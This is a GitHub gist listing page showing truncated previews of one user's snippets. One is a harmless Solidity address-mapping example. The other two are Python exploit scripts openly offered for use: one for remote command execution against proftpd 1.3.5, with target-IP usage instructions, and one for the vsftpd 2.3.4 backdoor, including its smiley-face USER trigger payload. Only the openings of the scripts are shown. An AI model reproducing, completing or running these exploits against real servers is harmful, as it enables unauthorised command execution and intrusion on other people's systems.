Skip to content

Instantly share code, notes, and snippets.

View Madhava-mng's full-sized avatar
💭
. : : : ʍɛռȶαʟɨֆȶ : : : .

MαđЋανα Madhava-mng

💭
. : : : ʍɛռȶαʟɨֆȶ : : : .
  • India
View GitHub Profile
@Madhava-mng
Madhava-mng / linked-address-mapping.sol
Created March 20, 2023 09:14
linked address mapping in solidity
struct Customer {
string name;
string email;
}
mapping(address => Customer) customer;
mapping(address => address) IDs; // this is the map that make a link address by address or (foo by foo)
function addCustomer(string memory _name, string memory _email) public {
address tmp;
@Madhava-mng
Madhava-mng / proftpd_1.3.5_.py
Created October 10, 2020 06:35
proftpd 1.3.5 exploit(remote command execution)
#!/bin/python3
import socket
from threading import Thread
from sys import argv as _arg_
from time import sleep
'''
proftpd 1.3.5 is Vulnearable to Copy Remote Command Execution
usage: proftpd_1.3.5.py <TARGET_IP> <PORT> <PATH_TO_COPY> <PATH_TO_PAST>
eg: proftpd_1.3.5.py 10.2.43.12 21 /home/user/FileToCopy /var/tmp/PathToPast
'''
@Madhava-mng
Madhava-mng / vsftpd_2.3.4_.py
Created October 9, 2020 18:36
Backdoor Command Execution
import socket
from time import sleep
from sys import argv as _arg_
def main():
core = {
"TREGER": {
"USER": b"USER Melicious:)\n",
"PASS": b"PASS anything\n"